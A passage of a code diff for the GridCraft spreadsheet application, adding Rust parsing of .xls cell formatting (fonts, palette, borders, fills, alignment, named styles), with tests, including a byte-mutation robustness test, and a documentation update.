font(200, 2, 0x7FFF, 700, 0, 0, "Arial"), + ] +} + +/// Fonts, a palette, style XFs, cell XFs and named styles covering every decoded field. +fn formatted() -> Vec { + let mut f = default_fonts(); + // ifnt 5 (index 4 is never written): 14 pt italic, struck, bold, double underline, + // superscript, red (colour 10). + f.push(font(280, 0x000A, 10, 700, 1, 2, "Courier New")); + // ifnt 6: single accounting underline, subscript, a custom palette colour. + f.push(font(220, 0, 9, 400, 2, 0x21, "Times New Roman")); + // Palette: the first two of the 56 custom entries (colour indexes 8 and 9) replaced. + let mut pal = u16s(&[56]); + for (i, c) in INDEXED.iter().enumerate().skip(8) { + let c = match i { + 8 => 0x123456, + 9 => 0xABCDEF, + _ => *c, + }; + pal.extend_from_slice(&[(c >> 16) as u8, (c >> 8) as u8, c as u8, 0]); + } + f.push(rec(0x0092, &pal)); + f.push(rec(0x041E, &[&164u16.to_le_bytes()[..], &[4u8, 0, 0][..], &b"0.0%"[..]].concat())); + // XF 0: the Normal style. + f.push(xf(0, 0, STYLE, plain())); + // XF 1: everything at once. + f.push(xf( + 5, + 164, + 0x0002, // hidden, not locked + XfData { + alc: 2, + wrap: true, + alc_v: 1, + trot: 135, + indent: 3, + shrink: true, + dg: [1, 0, 7, 2, 3], + icv: [9, 0, 8, 0x40, 10], + diag: 3, + fls: 1, + fore: 8, + back: 0x41, + }, + )); + // XF 2: a 12.5% gray pattern on yellow, font index 4 (invalid: the default font). + f.push(xf(4, 0, CELL, XfData { alc: 7, alc_v: 4, trot: 255, fls: 0x11, fore: 10, back: 13, ..plain() })); + // XF 3: a font index past the end, right aligned, diagonal-up only. + f.push(xf(200, 0, CELL, XfData { alc: 3, alc_v: 0, trot: 90, dg: [0, 13, 0, 0, 5], icv: [0, 12, 0, 0, 16], diag: 2, ..plain() })); + // XF 4: an ordinary cell: the default style. + f.push(xf(0, 0, CELL, plain())); + // XF 5: font ifnt 6. + f.push(xf(6, 0, CELL, plain())); + // Styles: built-in Normal, a user style on XF 1 and a duplicate name (ignored), a built-in + // style (Comma) left to GridCraft's own definition. + f.push(rec(0x0293, &[&u16s(&[0x8000])[..], &[0u8, 0xFF][..]].concat())); + f.push(rec(0x0293, &[&u16s(&[1, 5])[..], &[0u8][..], &b"Fancy"[..]].concat())); + f.push(rec(0x0293, &[&u16s(&[2, 5])[..], &[0u8][..], &b"FANCY"[..]].concat())); + f.push(rec(0x0293, &[&u16s(&[0x8002])[..], &[3u8, 0xFF][..]].concat())); + workbook( + &f, + &[ + number(0, 0, 1, 0.5), + blank(0, 1, 1), + number(1, 0, 2, 2.0), + number(2, 0, 3, 3.0), + number(3, 0, 4, 4.0), + number(4, 0, 999, 5.0), + number(5, 0, 5, 6.0), + blank(6, 0, 4), + ], + ) +} + +#[test] +fn reads_fonts_fills_borders_alignment_and_protection() { + let (wb, report) = read_xls(&compound("Workbook", &formatted())).unwrap(); + assert!(report.warnings[0].contains("cell formatting"), "{:?}", report.warnings); + assert!(!report.warnings.iter().any(|w| w.contains("shorter than expected")), "{:?}", report.warnings); + // The Normal style's font is the workbook default. + let normal = wb.styles.get(StyleId::DEFAULT); + assert_eq!((normal.font.name.as_str(), normal.font.size, normal.font.bold), ("Arial", 10.0, false)); + assert_eq!(normal.font.color, Color::Auto); + + let s = style_at(&wb, "A1"); + let f = &s.font; + assert_eq!((f.name.as_str(), f.size), ("Courier New", 14.0)); + assert!(f.bold && f.italic && f.strike); + assert_eq!((f.underline, f.vert, f.color), (Underline::Double, VertAlign::Superscript, Color::Rgb(0xFF0000))); + assert_eq!(s.num_fmt.as_str(), "0.0%"); + assert_eq!(s.protection, Protection { locked: false, hidden: true }); + assert_eq!((s.align.h, s.align.v, s.align.wrap, s.align.shrink), (HAlign::Center, VAlign::Center, true, true)); + assert_eq!((s.align.rotation, s.align.indent), (-45, 3)); + // Colour index 8 and 9 come from the Palette record. + assert_eq!(s.fill, Fill::solid(Color::Rgb(0x123456))); + assert_eq!(s.borders.left, BorderLine { style: BorderStyle::Thin, color: Color::Rgb(0xABCDEF) }); + assert_eq!(s.borders.right, BorderLine::default()); + assert_eq!(s.borders.top, BorderLine { style: BorderStyle::Hair, color: Color::Rgb(0x123456) }); + assert_eq!(s.borders.bottom, BorderLine { style: BorderStyle::Medium, color: Color::Auto }); + let dashed = BorderLine { style: BorderStyle::Dashed, color: Color::Rgb(0xFF0000) }; + assert_eq!((s.borders.diag_down, s.borders.diag_up), (dashed, dashed)); + // A formatted blank cell keeps its formatting. + assert_eq!(wb.sheets[0].style_id(CellRef::parse("B1").unwrap()), wb.sheets[0].style_id(CellRef::parse("A1").unwrap())); + assert_eq!(wb.sheets[0].value(CellRef::parse("B1").unwrap()), Value::Empty); + + let s = style_at(&wb, "A2"); + assert_eq!(s.font, normal.font, "font index 4 falls back to the default font"); + assert_eq!(s.fill, Fill { pattern: PatternType::Gray125, fg: Color::Rgb(0xFF0000), bg: Color::Rgb(0xFFFF00) }); + assert_eq!((s.align.h, s.align.v, s.align.rotation), (HAlign::Distributed, VAlign::Distributed, 255)); + + let s = style_at(&wb, "A3"); + assert_eq!(s.font, normal.font, "a font index past the end falls back to the default font"); + assert_eq!((s.align.h, s.align.v, s.align.rotation), (HAlign::Right, VAlign::Top, 90)); + assert_eq!(s.borders.right, BorderLine { style: BorderStyle::SlantDashDot, color: Color::Rgb(0x0000FF) }); + assert_eq!(s.borders.diag_up, BorderLine { style: BorderStyle::Thick, color: Color::Rgb(0x800000) }); + assert_eq!(s.borders.diag_down, BorderLine::default()); + + // An ordinary cell XF is the default style; so is an XF index past the end. + assert_eq!(wb.sheets[0].style_id(CellRef::parse("A4").unwrap()), StyleId::DEFAULT); + assert_eq!(wb.sheets[0].style_id(CellRef::parse("A5").unwrap()), StyleId::DEFAULT); + // A blank cell in the default style isn't stored. + assert!(wb.sheets[0].cell(CellRef::parse("A7").unwrap()).is_none()); + + let s = style_at(&wb, "A6"); + assert_eq!((s.font.name.as_str(), s.font.size, s.font.color), ("Times New Roman", 11.0, Color::Rgb(0xABCDEF))); + assert_eq!((s.font.underline, s.font.vert), (Underline::SingleAccounting, VertAlign::Subscript)); + + // User-defined styles are kept (first of a name wins); built-in ones are GridCraft's own. + assert_eq!(wb.cell_styles.len(), 1, "{:?}", wb.cell_styles.iter().map(|(n, _)| n).collect::>()); + assert_eq!(wb.cell_styles[0].0, "Fancy"); + assert_eq!(&wb.cell_styles[0].1, style_at(&wb, "A1")); + + // The formatting survives a save as .xlsx. + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + for a1 in ["A1", "A2", "A3", "A6"] { + assert_eq!(style_at(&back, a1), style_at(&wb, a1), "{a1}"); + } + assert_eq!(back.styles.get(StyleId::DEFAULT).font.name, "Arial"); + assert_eq!(back.cell_styles.iter().map(|(n, _)| n.as_str()).collect::>(), ["Fancy"]); +} + +#[test] +fn without_a_palette_the_default_colours_apply() { + let mut f = default_fonts(); + f.push(xf(0, 0, STYLE, plain())); + f.push(xf(0, 0, CELL, XfData { fls: 1, fore: 8, ..plain() })); + f.push(xf(0, 0, CELL, XfData { fls: 1, fore: 63, ..plain() })); + // Out-of-range colour indexes are automatic. + f.push(xf(0, 0, CELL, XfData { fls: 1, fore: 0x7F, dg: [1, 0, 0, 0, 0], icv: [0x50, 0, 0, 0, 0], ..plain() })); + let (wb, _) = read_xls(&compound("Workbook", &workbook(&f, &[number(0, 0, 1, 1.0), number(1, 0, 2, 1.0), number(2, 0, 3, 1.0)]))).unwrap(); + assert_eq!(style_at(&wb, "A1").fill, Fill::solid(Color::Rgb(0x000000))); + assert_eq!(style_at(&wb, "A2").fill, Fill::solid(Color::Rgb(0x333333))); + let s = style_at(&wb, "A3"); + assert_eq!(s.fill, Fill::solid(Color::Auto)); + assert_eq!(s.borders.left, BorderLine { style: BorderStyle::Thin, color: Color::Auto }); +} + +#[test] +fn short_formatting_records_keep_what_is_there() { + let mut f = default_fonts(); + // A truncated font (no name): the default font keeps the numbering of the next one. + f.push(rec(0x0031, &u16s(&[240, 0]))); + f.push(font(300, 0, 0x7FFF, 700, 0, 0, "Georgia")); + // A palette claiming more entries than it holds. + f.push(rec(0x0092, &[&u16s(&[56])[..], &[1u8, 2, 3, 0][..]].concat())); + f.push(xf(0, 0, STYLE, plain())); + // XF 1: only ifnt and ifmt and flags: number format kept, no alignment. + f.push(rec(0x00E0, &u16s(&[6, 10, 0x0001]))); + // XF 2: two bytes. + f.push(rec(0x00E0, &u16s(&[6]))); + // XF 3: palette colour 8 (overridden) as a fill. + f.push(xf(0, 0, CELL, XfData { fls: 1, fore: 8, ..plain() })); + // Style records cut short, and a style naming a missing XF. + f.push(rec(0x0293, &u16s(&[0x8000]))); + f.push(rec(0x0293, &[&u16s(&[1, 40])[..], &[0u8][..], &b"Cut"[..]].concat())); + f.push(rec(0x0293, &[&u16s(&[900, 4])[..], &[0u8][..], &b"Gone"[..]].concat())); + let book = workbook(&f, &[number(0, 0, 1, 1.0), number(1, 0, 2, 1.0), number(2, 0, 3, 1.0)]); + let (wb, report) = read_xls(&compound("Workbook", &book)).unwrap(); + assert!(report.warnings.iter().any(|w| w.contains("shorter than expected")), "{:?}", report.warnings); + let s = style_at(&wb, "A1"); + assert_eq!((s.font.name.as_str(), s.font.bold), ("Georgia", true)); + assert_eq!(s.num_fmt.as_str(), "0.00%"); + assert_eq!((s.align.v, s.protection.locked), (VAlign::Bottom, true)); + assert_eq!(wb.sheets[0].style_id(CellRef::parse("A2").unwrap()), StyleId::DEFAULT); + assert_eq!(style_at(&wb, "A3").fill, Fill::solid(Color::Rgb(0x010203))); + assert!(wb.cell_styles.is_empty()); +} + +#[test] +fn hostile_formatting_records_never_panic() { + let stream = formatted(); + for at in 0..stream.len() { + for x in [0x00u8, 0xFF, 0x80] { + let mut s = stream.clone(); + s[at] = x; + let _ = read_xls(&compound("Workbook", &s)); + } + } + for cut in 0..stream.len() { + let _ = read_xls(&compound("Workbook", &stream[..cut])); + } +} diff --git a/crates/xlsx/src/xls/mod.rs b/crates/xlsx/src/xls/mod.rs index ceaf3e26d..7f1df1197 100644 --- a/crates/xlsx/src/xls/mod.rs +++ b/crates/xlsx/src/xls/mod.rs @@ -3,24 +3,27 @@ //! . //! //! Read: worksheets, shared strings, cell values, formulas (text and cached results, including -//! shared and array formulas), number formats, the 1904 date system, merged cells, column -//! widths, row heights, defined names, print areas, print titles and the calculation settings -//! (mode, iteration, precision as displayed). Everything else (fonts, fills, borders, charts, -//! pictures, comments, conditional formats, validation, macros) is skipped with a warning. +//! shared and array formulas), cell formatting (number formats, fonts, fills, borders, +//! alignment, protection, the colour palette and user-defined cell styles), the 1904 date +//! system, merged cells, column widths, row heights, defined names, print areas, print titles +//! and the calculation settings (mode, iteration, precision as displayed). Everything else +//! (charts, pictures, comments, conditional formats, validation, macros) is skipped with a +//! warning. //! Encrypted workbooks and pre-BIFF8 versions are refused. mod formula; mod ftab; mod records; +mod styles; use std::collections::HashMap; use std::sync::Arc; use gridcraft_core::{CellRef, DateSystem, MAX_COLS, MAX_ROWS, RangeRef, Value}; -use gridcraft_model::{CalcMode, CalcSettings, Cell, DefinedName, Formula, LineInfo, NumFmt, Sheet, Style, StyleId, Visibility, Workbook}; +use gridcraft_model::{CalcMode, CalcSettings, Cell, DefinedName, Formula, LineInfo, Sheet, StyleId, Visibility, Workbook}; use crate::cfb::Compound; -use crate::tables::{builtin_format, col_width_to_px, pt_to_px}; +use crate::tables::{col_width_to_px, pt_to_px}; use crate::{IoError, ReadReport}; use formula::{Links, Mode, SupBook, Unsupported, Xti, cell_error, decode}; use records::{Cursor, Record, Records}; @@ -123,7 +126,7 @@ struct Globals { sheets: Vec, date1904: bool, formats: HashMap, - xf_formats: Vec, + styles: styles::StyleRecords, sst: Vec>, links: Links, names: Vec, @@ -153,19 +156,11 @@ pub(crate) fn read_xls_with(bytes: &[u8], mut budget: Budget) -> Result<(Workboo let mut wb = Workbook::new(); wb.sheets.clear(); wb.date_system = if g.date1904 { DateSystem::D1904 } else { DateSystem::D1900 }; - // One model style per XF: only the number format is imported. - let styles: Vec = g - .xf_formats - .iter() - .map(|ifmt| { - let code = g.formats.get(ifmt).map(String::as_str).or_else(|| builtin_format(u32::from(*ifmt))).unwrap_or("General"); - if code.eq_ignore_ascii_case("General") { - StyleId::DEFAULT - } else { - wb.styles.intern(Style { num_fmt: NumFmt::new(code), ..Style::default() }) - } - }) - .collect(); + // One model style per XF. + let styles = styles::build(&g.styles, &g.formats, &mut wb); + if g.styles.short { + report.warn("Some cell formatting records were shorter than expected; the formatting present was kept."); + } // BoundSheet8 index → model sheet index. let mut model_index: Vec> = Vec::with_capacity(g.sheets.len()); @@ -202,7 +197,7 @@ pub(crate) fn read_xls_with(bytes: &[u8], mut budget: Budget) -> Result<(Workboo // The overview comes first. report.warnings.insert( 0, - "Imported from an Excel 97-2003 (.xls) workbook: values, formulas, number formats, merged cells, column widths, row heights and defined names were read. Fonts, fills, borders, charts, pictures, comments and other features are not imported yet. Save as .xlsx; saving .xls is not supported.".into(), + "Imported from an Excel 97-2003 (.xls) workbook: values, formulas, cell formatting, merged cells, column widths, row heights and defined names were read. Charts, pictures, comments and other features are not imported yet. Save as .xlsx; saving .xls is not supported.".into(), ); Ok((wb, report)) } @@ -272,10 +267,10 @@ fn globals(stream: &[u8], budget: &mut Budget, report: &mut ReadReport) -> Resul budget.text(code.len())?; g.formats.insert(ifmt, code); } - 0x00E0 if g.xf_formats.len() < MAX_XFS => { - c.u16()?; - g.xf_formats.push(c.u16()?); - } + 0x00E0 => g.styles.xf(&mut c, MAX_XFS), + 0x0031 => g.styles.font(&mut c), + 0x0092 => g.styles.palette(&mut c), + 0x0293 => g.styles.style(&mut c), 0x00FC => g.sst = shared_strings(&mut c, budget)?, 0x01AE => { let _ctab = c.u16()?; diff --git a/crates/xlsx/src/xls/styles.rs b/crates/xlsx/src/xls/styles.rs new file mode 100644 index 000000000..6e254c20c --- /dev/null +++ b/crates/xlsx/src/xls/styles.rs @@ -0,0 +1,390 @@ +//! Cell formatting in a BIFF8 Workbook stream, from [MS-XLS]: Font (2.4.122), XF (2.4.353) with +//! CellXF (2.5.91), Palette (2.4.188) and Style (2.4.269). Every XF is +//! decoded on its own: a cell XF stores its complete formatting (the fAtr* bits only say whether +//! later changes to the parent style propagate), so nothing is inherited from `ixfParent`. + +use std::collections::HashMap; + +use gridcraft_model::style::Protection; +use gridcraft_model::{ + Alignment, BorderLine, BorderStyle, Borders, Color, Fill, Font, HAlign, NumFmt, PatternType, Style, StyleId, StyleTable, Underline, VAlign, + VertAlign, Workbook, +}; + +use super::records::Cursor; +use crate::tables::{INDEXED, builtin_format}; + +/// Font records kept at most ([MS-XLS] FontIndex allows indexes up to 1022). +const MAX_FONTS: usize = 1024; +/// Style records kept at most. +const MAX_STYLES: usize = 65_536; +/// Characters kept from a style name (Excel allows 255). +const MAX_STYLE_NAME: usize = 255; + +/// The automatic font colour (IcvFont 0x7FFF) and the system foreground/background colours. +const ICV_FONT_AUTO: u16 = 0x7FFF; +const ICV_DEFAULT_FG: u16 = 0x40; +const ICV_DEFAULT_BG: u16 = 0x41; + +/// One XF record, decoded as far as its bytes allow. +#[derive(Clone, Debug, Default)] +pub(super) struct Xf { + ifnt: u16, + ifmt: u16, + flags: u16, + /// The CellXF/StyleXF data: 14 bytes when complete. + data: [u8; 14], + /// Whether all 20 bytes were present. + complete: bool, +} + +/// A Style record: the XF it names and its name. +#[derive(Clone, Debug)] +pub(super) struct NamedStyle { + ixf: u16, + /// `Some(id)` for a built-in style (BuiltInStyle.istyBuiltIn), `None` for a user style. + builtin: Option, + /// A user style's name (empty for built-in styles). + name: String, +} + +/// Formatting records collected from the globals substream. +#[derive(Debug, Default)] +pub(super) struct StyleRecords { + fonts: Vec, + font_colors: Vec, + xfs: Vec, + /// Palette entries for colour indexes 8 and up (RRGGBB), when a Palette record is present. + palette: Option>, + styles: Vec, + /// Records that were shorter than their structure; the parts present were used. + pub(super) short: bool, +} + +impl StyleRecords { + /// A Font record. The colour is resolved later, once the palette is known. + pub(super) fn font(&mut self, c: &mut Cursor<'_, '_>) { + if self.fonts.len() >= MAX_FONTS { + return; + } + match read_font(c) { + Some((font, icv)) => { + self.fonts.push(font); + self.font_colors.push(icv); + } + None => { + // Keep the numbering of the fonts after it. + self.short = true; + self.fonts.push(Font::default()); + self.font_colors.push(ICV_FONT_AUTO); + } + } + } + + /// An XF record. A short record keeps the fields it has. + pub(super) fn xf(&mut self, c: &mut Cursor<'_, '_>, max: usize) { + if self.xfs.len() >= max { + return; + } + let mut xf = Xf::default(); + let head = (|| Some((c.u16().ok()?, c.u16().ok()?, c.u16().ok()?)))(); + match head { + Some((ifnt, ifmt, flags)) => { + xf.ifnt = ifnt; + xf.ifmt = ifmt; + xf.flags = flags; + xf.complete = true; + for b in xf.data.iter_mut() { + match c.u8() { + Ok(v) => *b = v, + Err(_) => { + xf.complete = false; + break; + } + } + } + } + None => { + // Not even the font and format: an unformatted, locked cell. + xf.flags = 1; + } + } + if !xf.complete { + self.short = true; + } + self.xfs.push(xf); + } + + /// A Palette record: colours for indexes 8 onwards. + pub(super) fn palette(&mut self, c: &mut Cursor<'_, '_>) { + let Ok(ccv) = c.u16() else { + self.short = true; + return; + }; + let n = usize::from(ccv).min(56); + if usize::from(ccv) > c.remaining() / 4 { + self.short = true; + } + let mut colors = Vec::with_capacity(n); + for _ in 0..n { + let (Ok(r), Ok(g), Ok(b), Ok(_)) = (c.u8(), c.u8(), c.u8(), c.u8()) else { break }; + colors.push((u32::from(r) << 16) | (u32::from(g) << 8) | u32::from(b)); + } + self.palette = Some(colors); + } + + /// A Style record. + pub(super) fn style(&mut self, c: &mut Cursor<'_, '_>) { + if self.styles.len() >= MAX_STYLES { + return; + } + let Ok(word) = c.u16() else { + self.short = true; + return; + }; + let ixf = word & 0x0FFF; + if word & 0x8000 != 0 { + let Ok(id) = c.u8() else { + self.short = true; + return; + }; + // BuiltInStyle: the style's number (0 is Normal) and outline level. + self.styles.push(NamedStyle { ixf, builtin: Some(id), name: String::new() }); + } else { + match c.string() { + Ok(name) => { + let name: String = name.chars().filter(|ch| *ch != '\0').take(MAX_STYLE_NAME).collect(); + if !name.is_empty() { + self.styles.push(NamedStyle { ixf, builtin: None, name }); + } + } + Err(_) => self.short = true, + } + } + } + + /// The 64-entry colour table: the built-in eight, then the palette (or the default one). + fn color_table(&self) -> [u32; 64] { + let mut table = INDEXED; + if let Some(p) = &self.palette { + for (slot, c) in table.iter_mut().skip(8).zip(p.iter()) { + *slot = *c; + } + } + table + } +} + +/// Font record fields up to the name; `None` if the record is too short for them. +fn read_font(c: &mut Cursor<'_, '_>) -> Option<(Font, u16)> { + let height = c.u16().ok()?; + let flags = c.u16().ok()?; + let icv = c.u16().ok()?; + let weight = c.u16().ok()?; + let script = c.u16().ok()?; + let underline = c.u8().ok()?; + c.skip(3).ok()?; // family, character set, unused + let name = c.short_string().ok()?; + let mut f = Font::default(); + let name: String = name.chars().filter(|ch| *ch != '\0').take(255).collect(); + if !name.trim().is_empty() { + f.name = name; + } + if height > 0 { + f.size = (f32::from(height) / 20.0).clamp(1.0, 409.0); + } + f.italic = flags & 0x0002 != 0; + f.strike = flags & 0x0008 != 0; + // Weights run 100-1000; Excel writes 400 for normal and 700 for bold. + f.bold = weight >= 600; + f.vert = match script { + 1 => VertAlign::Superscript, + 2 => VertAlign::Subscript, + _ => VertAlign::Baseline, + }; + f.underline = match underline { + 0x01 => Underline::Single, + 0x02 => Underline::Double, + 0x21 => Underline::SingleAccounting, + 0x22 => Underline::DoubleAccounting, + _ => Underline::None, + }; + Some((f, icv)) +} + +/// A colour index in an XF (IcvXF) or Font (IcvFont): 0-63 from the colour table, the system +/// and automatic colours as automatic. +fn color(icv: u16, table: &[u32; 64]) -> Color { + match icv { + ICV_DEFAULT_FG | ICV_DEFAULT_BG | ICV_FONT_AUTO => Color::Auto, + _ => table.get(usize::from(icv)).map_or(Color::Auto, |c| Color::Rgb(*c)), + } +} + +fn border_style(dg: u32) -> BorderStyle { + match dg { + 1 => BorderStyle::Thin, + 2 => BorderStyle::Medium, + 3 => BorderStyle::Dashed, + 4 => BorderStyle::Dotted, + 5 => BorderStyle::Thick, + 6 => BorderStyle::Double, + 7 => BorderStyle::Hair, + 8 => BorderStyle::MediumDashed, + 9 => BorderStyle::DashDot, + 10 => BorderStyle::MediumDashDot, + 11 => BorderStyle::DashDotDot, + 12 => BorderStyle::MediumDashDotDot, + 13 => BorderStyle::SlantDashDot, + _ => BorderStyle::None, + } +} + +fn pattern(fls: u16) -> PatternType { + match fls { + 0x01 => PatternType::Solid, + 0x02 => PatternType::Gray50, + 0x03 => PatternType::Gray75, + 0x04 => PatternType::Gray25, + 0x05 => PatternType::DarkHorizontal, + 0x06 => PatternType::DarkVertical, + 0x07 => PatternType::DarkDown, + 0x08 => PatternType::DarkUp, + 0x09 => PatternType::DarkGrid, + 0x0A => PatternType::DarkTrellis, + 0x0B => PatternType::LightHorizontal, + 0x0C => PatternType::LightVertical, + 0x0D => PatternType::LightDown, + 0x0E => PatternType::LightUp, + 0x0F => PatternType::LightGrid, + 0x10 => PatternType::LightTrellis, + 0x11 => PatternType::Gray125, + 0x12 => PatternType::Gray0625, + _ => PatternType::None, + } +} + +fn line(dg: u32, icv: u32, table: &[u32; 64]) -> BorderLine { + let style = border_style(dg); + if style == BorderStyle::None { + return BorderLine::default(); + } + // Colour 0 means "not specified": automatic. + let color = if icv == 0 { Color::Auto } else { color(icv as u16, table) }; + BorderLine { style, color } +} + +/// The font an XF names (FontIndex: index 4 is never written, so 5 and up count from one). +fn xf_font(ifnt: u16, fonts: &[Font]) -> Font { + let i = match ifnt { + 0..=3 => usize::from(ifnt), + 4 => return fonts.first().cloned().unwrap_or_default(), + _ => usize::from(ifnt) - 1, + }; + fonts.get(i).or_else(|| fonts.first()).cloned().unwrap_or_default() +} + +fn num_fmt(ifmt: u16, formats: &HashMap) -> NumFmt { + let code = formats.get(&ifmt).map(String::as_str).or_else(|| builtin_format(u32::from(ifmt))).unwrap_or("General"); + if code.eq_ignore_ascii_case("General") { NumFmt::default() } else { NumFmt::new(code) } +} + +/// The model style of one XF. +fn xf_style(xf: &Xf, fonts: &[Font], formats: &HashMap, table: &[u32; 64]) -> Style { + let mut s = Style { + font: xf_font(xf.ifnt, fonts), + num_fmt: num_fmt(xf.ifmt, formats), + protection: Protection { locked: xf.flags & 0x0001 != 0, hidden: xf.flags & 0x0002 != 0 }, + ..Style::default() + }; + if !xf.complete { + return s; + } + let d = &xf.data; + let byte = |i: usize| d.get(i).copied().unwrap_or(0); + let word32 = |i: usize| u32::from_le_bytes([byte(i), byte(i + 1), byte(i + 2), byte(i + 3)]); + let (a0, rot, a2) = (byte(0), byte(1), byte(2)); + s.align = Alignment { + h: match a0 & 0x07 { + 1 => HAlign::Left, + 2 => HAlign::Center, + 3 => HAlign::Right, + 4 => HAlign::Fill, + 5 => HAlign::Justify, + 6 => HAlign::CenterAcross, + 7 => HAlign::Distributed, + _ => HAlign::General, + }, + wrap: a0 & 0x08 != 0, + v: match (a0 >> 4) & 0x07 { + 0 => VAlign::Top, + 1 => VAlign::Center, + 3 => VAlign::Justify, + 4 => VAlign::Distributed, + _ => VAlign::Bottom, + }, + rotation: match rot { + 0..=90 => i16::from(rot), + 91..=180 => -(i16::from(rot) - 90), + 255 => 255, + _ => 0, + }, + indent: a2 & 0x0F, + shrink: a2 & 0x10 != 0, + }; + let b1 = word32(4); + let b2 = word32(8); + let mut borders = Borders { + left: line(b1 & 0x0F, (b1 >> 16) & 0x7F, table), + right: line((b1 >> 4) & 0x0F, (b1 >> 23) & 0x7F, table), + top: line((b1 >> 8) & 0x0F, b2 & 0x7F, table), + bottom: line((b1 >> 12) & 0x0F, (b2 >> 7) & 0x7F, table), + ..Borders::default() + }; + let diag = line((b2 >> 21) & 0x0F, (b2 >> 14) & 0x7F, table); + let which = (b1 >> 30) & 0x03; + if which & 1 != 0 { + borders.diag_down = diag; + } + if which & 2 != 0 { + borders.diag_up = diag; + } + s.borders = borders; + let fill = u16::from_le_bytes([byte(12), byte(13)]); + let fls = ((b2 >> 26) & 0x3F) as u16; + let fg = color(fill & 0x7F, table); + let bg = color((fill >> 7) & 0x7F, table); + s.fill = match pattern(fls) { + PatternType::None => Fill::default(), + PatternType::Solid => Fill::solid(fg), + p => Fill { pattern: p, fg, bg }, + }; + s +} + +/// Imports the formatting: sets the workbook's default (Normal) font and named cell styles, and +/// returns the model style of every XF in file order. +pub(super) fn build(r: &StyleRecords, formats: &HashMap, wb: &mut Workbook) -> Vec { + let table = r.color_table(); + let fonts: Vec = r.fonts.iter().zip(r.font_colors.iter()).map(|(f, icv)| Font { color: color(*icv, &table), ..f.clone() }).collect(); + // The Normal style's font is what every unformatted cell shows. + let normal_xf = r.styles.iter().find(|s| s.builtin == Some(0)).map_or(0, |s| usize::from(s.ixf)); + let normal_font = r.xfs.get(normal_xf).map(|xf| xf_font(xf.ifnt, &fonts)).or_else(|| fonts.first().cloned()); + if let Some(font) = normal_font { + wb.styles = StyleTable::with_default(Style { font, ..Style::default() }); + } + let out = r.xfs.iter().map(|xf| wb.styles.intern(xf_style(xf, &fonts, formats, &table))).collect(); + // User-defined named styles. Excel 2007 and later write every built-in style into each .xls + // (about fifty, their colours approximated to the palette); GridCraft defines those itself. + let mut named: Vec<(String, Style)> = Vec::new(); + for ns in &r.styles { + if ns.builtin.is_some() || ns.name.eq_ignore_ascii_case("Normal") || named.iter().any(|(n, _)| n.eq_ignore_ascii_case(&ns.name)) { + continue; + } + if let Some(xf) = r.xfs.get(usize::from(ns.ixf)) { + named.push((ns.name.clone(), xf_style(xf, &fonts, formats, &table))); + } + } + wb.cell_styles = named; + out +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index cf567f8bd..b1109b678 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-21 · **Change:** minor (.xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-21 · **Change:** minor (`.xls` import reads cell formatting: fonts, fills, borders, alignment, protection, palette, user cell styles; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -54,7 +54,7 @@ values) is still dropped. | `.xlsm` Macro-Enabled Workbook | R/W | yes | yes, macros kept, not run | The VBA project is kept byte-for-byte and written back only into `.xlsm`/`.xltm` (#6); macros never run. Saved with the macro-enabled workbook content type | `roundtrip.rs` (`vba_project_roundtrip`, `package_kind_sets_workbook_content_type`), engine `io.rs` (`macros_are_saved_only_into_xlsm`) | | `.xltx` / `.xltm` templates | R/W | yes | partial | Saved with the template (and macro-enabled template) content type, chosen by extension; `.xltm` keeps a VBA project, `.xltx` drops it; "new from template" behaviour missing | `roundtrip.rs` (`package_kind_sets_workbook_content_type`), engine `io.rs` | | `.xlsb` Binary Workbook | R/W | **values only** (#101) | no | Names, visibility, numbers, text, booleans, errors, merges, cached formula results; no formulas, formatting, charts, names | `xlsb_tests.rs` | -| `.xls` Excel 97-2003 (BIFF8) | R/W | **yes, partial** (#121) | no (Save As `.xlsx`) | Clean-room from [MS-CFB] and [MS-XLS]. Read: worksheets and visibility, shared strings, numbers, text, booleans, errors, formulas (text for the common tokens, shared and array formulas, 3-D refs, names, newer functions called by name) with cached results, number formats (dates display as dates), 1904 date system, merges, column widths, row heights, defined names, print area and titles, calculation settings (mode, iteration with its maximum iterations and change, precision as displayed), sheet display options (right-to-left, gridlines, headings, zero values, formulas; a truncated WINDOW2 is ignored). Not read: fonts, fills, borders, alignment, charts, pictures, comments, CF, validation, hyperlinks, freeze panes, external links (formula kept as its value). Chart and macro sheets skipped with a warning; encrypted (FILEPASS) and BIFF5 (Excel 5.0/95) files refused with a message. Opens as a new unsaved workbook. Unverified on a real-world corpus | `xls_tests.rs` | +| `.xls` Excel 97-2003 (BIFF8) | R/W | **yes, partial** (#121) | no (Save As `.xlsx`) | Clean-room from [MS-CFB] and [MS-XLS]. Read: worksheets and 